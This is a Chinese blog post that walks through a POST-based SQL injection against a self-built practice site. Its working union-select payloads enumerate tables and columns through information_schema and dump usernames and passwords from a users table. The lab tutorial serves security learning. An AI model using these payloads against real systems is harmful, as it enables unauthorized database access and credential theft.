首页 > 其他分享 >post注入

post注入

时间:2023-01-27 11:14:27浏览次数:46  
标签:schema admin -- table post 注入 select union

1.创建数据库

  2.导入sql文件

 3.修改index.php文件参数账号密码与phpmyadmin登录密码一致

 

 4.尝试' or 1=1 ,得到报错信息,说明后台的SQL语句中对于参数的引用使用了单引号。

5.输入admin' order by 3;-- +会返回正确页面,而输入admin' order by 4会报错

 

 6.admin' order by 4;-- +会报错

 

 7.admin' and 1=2 union select 1,user(),database();-- +

 

 

 8。构造payload查询表名
admin' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=web23;-- +,此处paload构造错误, table_schema=database()。

 

 admin' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();-- +

 

 9.构造payload查询列名 admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';-- +

 

 10.构造payload查询字段 admin' and 1=2 union select 1,2,group_concat(num,0x3a,username,0x3a,password) from users;-- +,此处使用0x3a,3a在ascii码,代表::

 

 

admin' and 1=2 union select 1,2,group_concat(num,0x2a,username,0x2a,password) from users;-- +,此处使用0x2a,2a在ascii码,代表*

 

 

 

 

 

 

 

标签:schema,admin,--,table,post,注入,select,union
From: https://www.cnblogs.com/sentouceshi/p/17068319.html

相关文章

  • docker中使用postgresql数据库
    1.拉取默认最新运行容器由于最新版删减了东西,所以会报错参考感谢以下博主让我从爬出深坑~#拉取postgreshttps://www.hangge.com/blog/cache/detail_3073.html......
  • spring 注入的3种方式
    spring注入的3种方式属性注入就是平时使用最多的在属性上加一个@Autowiredset方法在spring3.x及之前推荐使用,通过提交暴露可以解决循环依赖的问题构造器(构......
  • 如何在 Kubernetes 部署 PostgreSQL
    文章目录​​1.简介​​​​2.条件​​​​3.helm部署posgresql​​​​3.1添加Helm存储库​​​​3.2默认安装​​​​3.3选参安装​​​​3.4持久存储安装​​......
  • SQL注入实战系列之sqli靶场第一关
    1.http://192.168.1.223/sqli/Less-1/  2.http://192.168.1.223/sqli/Less-1/?id=1,链接后面添加?id=1  3.http://192.168.1.223/sqli/Less-1/?id=1',id=1后面加个......
  • HOOK API DLL 注入
    一、序言对大多数的Windows开发者来说,如何在Win32系统中对API函数的调用进行拦截一直是项极富挑战性的课题,因为这将是对你所掌握的计算机知识较为全面的考验,尤其是一些在......
  • 【Javaweb】servlet七 | 解决post请求中文乱码问题
    问题描述在get请求时(可以接收)  post请求时(出现了中文乱码问题)  解决方案在doPost函数中添加如下代码//设置请求体字符为UTF-8,从而解决post请求的中......
  • PostgreSQL(PG)考试认证 2023新春计划
    邀请返现每人可向PGCCC官方班班索要一个码,每邀请1人报名成功,可返50元,上不封顶本活动仅限PCP、PCM在被邀请人完成考试后,返还。(不报名也可以参与) 特惠日期:2023年1月2......
  • postgresql/lightdb中WHERE CURRENT OF的使用
    最近看PG源码,在语法分析中有看到CURRENTOF元素。在PG游标中,WHERECURRENTOF可以用来使用游标更新或删除当前指向的行。语法:UPDATEtableSET...WHERECURRENTOFcurs......
  • postgresql/lightdb中对应ctas的select into
    在postgresql/lightdb中,可以使用SELECTINTO(它不是ISOSQL的一部分,但是因为历史原因存在)创建一个新表并且用一个查询计算得到的数据填充它。这些数据不会像普通的 SE......
  • Docker安装PostgreSQL
    镜像地址:https://hub.docker.com/_/postgres1.拉取dockerpullpostgres2.创建dockerrun-d\-p5432:5432\--namepostgres\--restart=always......